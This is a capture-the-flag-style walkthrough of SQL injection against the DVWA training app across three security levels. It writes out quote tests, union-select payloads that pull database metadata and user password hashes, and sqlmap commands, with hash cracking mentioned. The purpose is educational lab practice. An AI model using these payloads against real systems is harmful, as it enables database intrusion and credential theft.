SQLi Union

Low

One of the first tests to detect if a page is vulnerable to SQL Injection (SQLi) is the attack known as "Elbow quotes" or "Croquette -1". It consists of inserting a single quotation mark in the URL parameters. For example, in:

http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit#

If we look at this URL, we can see that it has the id parameter and by adding a quotation mark to the id parameter, the URL becomes:

http://localhost/vulnerabilities/sqli/?id=1'&Submit=Submit#

This change may produce a syntax error in the database, indicating a possible vulnerability. Originally, the SQL query would be:

This change may produce a syntax error in the database, indicating a possible vulnerability. Originally, the SQL query would be:

SELECT first_name, last_name FROM users WHERE user_id = '$id'

But with the injection, it becomes:

SELECT first_name, last_name FROM users WHERE user_id = '$id''

Now that we know that the query may be vulnerable to SQLi, let's try to exploit it.

The first thing we are going to try is to retrieve all the data that the statement can return, so we are going to introduce the following injection:

1' or 0=0#

This closes the quotation mark on the id value and adds an always true condition (0=0), returning all records in the table. The hash (#) comments the rest of the SQL statement to avoid additional errors.

Next, what we are interested in knowing is the number of fields returned by the SQL statement, so we are going to sort the fields until we get an error in the sorting and then we will know how many fields we have.

1' order by 1#

Increasing the number until an error occurs. If the error occurs with order by 3#, it means that the query has 2 columns.

Knowing the columns we have, let's check where each column is printed to extract the information.

1' union select all 1,2#

If "1" is shown in the first name and "2" in the last name, the column positions are identified.

Since we already have the different printing sites of the fields, let's pull out some interesting information. To begin with, we will go with the MySQL version, which will give us information to check for any known vulnerabilities or exploits.

1' union select all version(),2#

We obtain which user you have in the database, because if we are lucky enough to have root, it will allow us to access all the information of the different databases.

1' union select all user(),2#

We identify the name of the databases accessed by the user obtained before.

1' union select all database(),2#

In order to continue with our attack, we need to know the tables in our database and the columns of those tables. This information is stored in the information_schema table since MySQL version 5.0.2.

So we start by getting all the tables that the MySQL/MariaDB server has:

1' union select null, table_name from information_schema.tables#

But we have a problem, that here it shows us not only the tables of our database but of all to which we have access, so we are going to narrow a little more the sentence not to go crazy looking among all the tables:

1' union select null, table_name from information_schema.tables WHERE table_schema='dvwa'#

Now that we have the tables, let's look up the information of the table that interests us all the most, which is the users table, to see if we can access their passwords.

1' union select null, column_name from information_schema.columns WHERE table_name='users'#

Now that we have all the necessary information, we just need to collect it

1' union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users#

Now that we have the users and hashes, we only need to identify the corresponding hash and crack it. As we note that it is an MD5, we can use the HashKiller website and get its original password, which in the case of admin is "password".

Medium

When faced with a select element instead of an input, modifying the value directly with the browser's element inspector can be cumbersome. In these cases, it is useful to use tools such as OWASP ZAP. It is important to correctly configure the OWASP ZAP proxy to intercept and manipulate requests.

We made the first request and found the following in OWASP ZAP. At the bottom of the request, we see the parameters that are being sent by POST, in this case, which are id and Submit. As in the previous exercise, we are interested in the id.

The first thing we have to try again is the "Elbow quote" attack, with the request looking like this.

But in this case, the error we get is different and, as we can see, we have an escape bar () in front of our quotation mark. This is because the code is using the mysqli_real_escape_string() function, which "escapes special characters from a string for use in a SQL statement, taking into account the current character set of the connection".

So using quotes in the attack will not work, so let's try to perform the first SQLi attack but without the quotes and see what happens.

As we can see, the attack works. Now we would only have to repeat the attacks we have seen in the previous level, but without the quotation marks to avoid the function mysqli_real_escape_string

Now that we know how to do our first SQLi attacks, let's proceed to learn about a great tool for these cases, which is SQLMap.

We run the request again without any modification and stop it with OWASP ZAP. Instead of editing the request, let's save it. To do this, right click -> Save as Raw -> Request -> All.

We save the file in the path we want to use it later with SQLMap. To use the previously saved file, which stores the entire request, saving us from having to specify all the parameters by hand. We launch the following command:

sqlmap -r sqlmap-medium.raw

And following the different options that SQLMap tells us, we end up getting 3 different types of injections.

High

As we can see in the last level, the input is opened in a new page and the result in another one. In this case, when we perform the "Elbow quotation mark" attack, it generates an error that does not tell us which case it is, as in the low or medium level. So we would have to start trying the above combinations and, if not, expand with the rest of the techniques taught in OWASP.

This case is the same as the first one, so we will not repeat all the commands. Instead, let's see how to perform the attack at one point and retrieve the information with SQLMap.

The first thing we are going to do is to proceed, as in the middle level, to capture the information with OWASP ZAP and save it in a file. Once we have it, we just have to re-launch SQLMap as in the previous example, but adding the --second-url parameter where we define where it has to look for the return information.

sqlmap -r high.raw --second-url="http://localhost/vulnerabilities/sqli/"

In summary, to identify and exploit SQL injection vulnerabilities at different security levels, you should familiarize yourself with basic SQL injection techniques and tools such as OWASP ZAP and SQLMap. These tools and techniques will allow you to perform more sophisticated attacks and adapt to different security scenarios. Always remember to use these skills responsibly and ethically and only in controlled environments or with explicit permission from the system owner.